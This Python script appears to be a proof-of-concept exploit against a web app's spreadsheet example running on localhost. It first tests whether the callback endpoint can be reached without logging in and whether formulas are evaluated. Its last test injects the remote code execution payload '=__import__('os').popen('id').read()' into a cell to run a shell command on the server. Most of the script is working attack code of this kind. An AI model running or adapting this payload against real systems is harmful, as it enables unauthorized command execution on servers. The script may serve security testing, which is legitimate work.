#!/usr/bin/env python3
"""Test spreadsheet callback endpoint accessibility"""
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

BASE = "https://localhost:5000"
session = requests.Session()

# Test 1: Initialize spreadsheet by loading index page
print("[*] Initializing spreadsheet (loading index page)...")
try:
    r = session.get(f"{BASE}/examples/spreadsheet/index", verify=False, allow_redirects=False)
    print(f"    Status: {r.status_code}")
    if r.status_code == 200:
        print("    ✓ Spreadsheet initialized!")
        print(f"    Content preview: {r.text[:300]}")
    elif r.status_code == 303:
        print("    ✗ Requires authentication (redirect)")
        print(f"    Location: {r.headers.get('Location')}")
        exit(1)
except Exception as e:
    print(f"    Error: {e}")
    exit(1)

# Test 2: Check callback endpoint with simple value
print("\n[*] Testing callback with normal value...")
try:
    r = session.post(f"{BASE}/examples/spreadsheet/callback/blur", 
                     data={"r0c0": "42"}, 
                     verify=False, 
                     allow_redirects=False)
    print(f"    Status: {r.status_code}")
    print(f"    Response: {r.text[:500]}")
    if r.status_code == 200:
        print("    ✓ Callback is accessible!")
except Exception as e:
    print(f"    Error: {e}")

# Test 3: Try to trigger compute with formula "=1+1"
print("\n[*] Testing formula execution (=1+1)...")
try:
    r = session.post(f"{BASE}/examples/spreadsheet/callback/blur", 
                     data={"r0c0": "=1+1"}, 
                     verify=False)
    print(f"    Status: {r.status_code}")
    print(f"    Response: {r.text[:500]}")
    if "2" in r.text:
        print("    ✓ Formula was evaluated! (1+1=2)")
except Exception as e:
    print(f"    Error: {e}")

# Test 4: Try RCE with __import__
print("\n[*] Testing RCE with __import__('os').popen('id')...")
try:
    payload = "=__import__('os').popen('id').read()"
    r = session.post(f"{BASE}/examples/spreadsheet/callback/blur", 
                     data={"r0c0": payload}, 
                     verify=False)
    print(f"    Status: {r.status_code}")
    print(f"    Response: {r.text}")
except Exception as e:
    print(f"    Error: {e}")
